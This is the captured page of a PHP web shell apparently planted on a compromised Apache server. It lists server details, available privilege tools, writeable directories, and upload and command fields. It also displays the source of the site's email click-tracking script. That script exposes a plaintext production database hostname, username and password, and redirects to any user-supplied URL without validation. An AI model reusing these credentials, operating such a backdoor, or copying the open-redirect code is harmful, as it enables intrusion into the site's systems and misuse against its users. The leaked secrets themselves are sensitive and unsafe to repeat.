403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/msemail.php
<?php
/**
 * MyShows Email Click Tracker
 * Replaces: msemail.cfm
 *
 * Logs email link clicks and redirects to the destination URL.
 */
require_once __DIR__ . '/db/mysql_bootstrap.php';

$userId = isset($_GET['userid']) ? intval($_GET['userid']) : 0;
$destUrl = isset($_GET['url']) ? trim($_GET['url']) : '';

if ($userId <= 0 || strlen($destUrl) === 0) {
    header('Location: https://www.broadwayworld.com/myshows/', true, 302);
    exit;
}

$destUrl = urldecode($destUrl);

try {
    $db = new PDO(
        'mysql:host=amazonaurora.cluster-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4',
        'admin',
        'xxatN6Lb8Kbwb9MiU1At',
        mysqlPdoOptions([PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false])
    );

    $stmt = $db->prepare("INSERT INTO alandev.myshows_emailclicks (userid, url) VALUES (?, ?)");
    $stmt->execute([$userId, substr($destUrl, 0, 2048)]);
} catch (Exception $e) {
    // Log failed but still redirect
}

header('Location: ' . $destUrl, true, 302);
exit;

Youez - 2016 - github.com/yon3zu
LinuXploit